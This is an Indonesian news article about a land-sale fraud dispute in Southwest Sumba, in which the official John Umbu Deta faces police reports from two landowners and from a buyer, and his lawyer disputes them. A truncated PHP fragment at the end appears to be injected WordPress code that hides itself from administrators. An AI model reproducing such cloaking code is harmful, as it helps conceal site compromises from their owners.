Hukum

Selain Kisruh 9,5 Miliar yang Tak Sampai di Tangan Pemilik Tanah John Umbu Deta Dilaporkan Pula oleh King Kevin

×

Selain Kisruh 9,5 Miliar yang Tak Sampai di Tangan Pemilik Tanah John Umbu Deta Dilaporkan Pula oleh King Kevin

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Saat ini publik digegerkan oleh laporan dua pemilik tanah di Tanjung Karoso, Kecamatan Kodi yang mengaku dikibuli oleh salah satu oknum pejabat di Dinas PUPR Kabupaten SBD.

Yohanis Umbu Deta yang adalah pejabat di dinas itu dilaporkan resmi ke Polres SBD oleh dua warga Tanjung Karoso ini lewat kuasa hukum Yubilate Pieter Pandango, SH, Senin (24/11/2025).

Meltripaul E. Rongga, bertindak sebagai kuasa hukum Yohanis Umbu Deta dalam dua laporan polisi berbeda. ( Foto Menara Sumba )

Pokok laporan itu terkait harga dua bidang tanah milik Wilhelmus Winya Marru dan Hendrikus Hona Dendo senilai 9,5 yang tidak sampai di tangan keduanya.

Namun kemudian diketahui jika Yohanis Umbu Deta yang lebih akrab disapa John Umbu Deta ini sebelumnya sudah dilaporkan pula oleh King Kevin selaku pembeli tanah.

Hal itu diketahui dari penjelasan pengacara Meltripaul E. Rongga, SH kuasa hukum John Umbu Deta, Selasa (25/11/2025) saat memberi klarifikasi atas laporan polisi yang dilayangkan pemilik tanah.

“Sebelumnya saya juga telah mendampingi klien saya dalam laporan King Kevin pada bulan Juli 2025 lalu,” akunya.

Meltripaul menyebut, pihaknya diberi kuasa oleh John Umbu Deta untuk mendampingi dalam proses pemeriksaan atas laporan King Kevin.

Pokok laporan itu, kata dia, masih terkait pula dengan penipuan dan penggelapan.

Namun i menegaskan, laporan King Kevin tersebut justru salah alamat.

“Kenapa demikian? Karena Pak John ini penerima kuasa jual,” timpalnya.

“Nah, kalau saya berbicara tentang kapasitas dia selaku penerima kuasa jual, kalau dibilang penipuan penggelapan itu, kecuali tidak ada tanahnya. Iya, kan?” sambungnya lagi.

Ia menerangkan bahwa pembayaran harga tanah oleh King Kevin terdistribusi dengan baik kepada penjual, kendati hal itu sudah dibantah oleh pemilik tanah dan bahkan dilaporkan ke pihak berwajib.

“Jadi menurut saya, sesungguhnya laporan King Kevin atas klien saya itu tidak benar,” tandasnya.

King Kevin melaporkan John Umbu Deta ke Polres SBD akibat terhambatnya proses balik nama atas dua bidang lahan di Tanjung Karoso yang sudah lunas dibayar.

Pemilik tanah memblokir proses balik nama karena uang hasil penjualan masih tersangkut di tangan penerima kuasa jual.

Seperti disampaikan kuasa hukum pemilik tanah usai melapor di SPKT Polres SBD, penyerahan uang tunai 10 miliar di hadapan notaris saat itu hanya akal-akalan.

“Itu hanya untuk keperluan dokumentasi saja. Uang diserahkan dan dipegang klien kami lalu difoto serta divideokan setelah itu diambil kembali,” terang kuasa hukum Yubilate Pieter Pandango, Selasa (25/11/2025 di Mapolres SBD.

Hingga kini laporan King Kevin terhadap John Umbu Deta masih ditangani penyidik Polres SBD.

Kendati menghadapi dua laporan berbeda dengan tuduhan yang sama, Meltripaul menandaskan jika kliennya sama sekali tidak gentar.

“Kami siap hadapi dan buktikan kebenarannya,” tutup Meltripaul. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>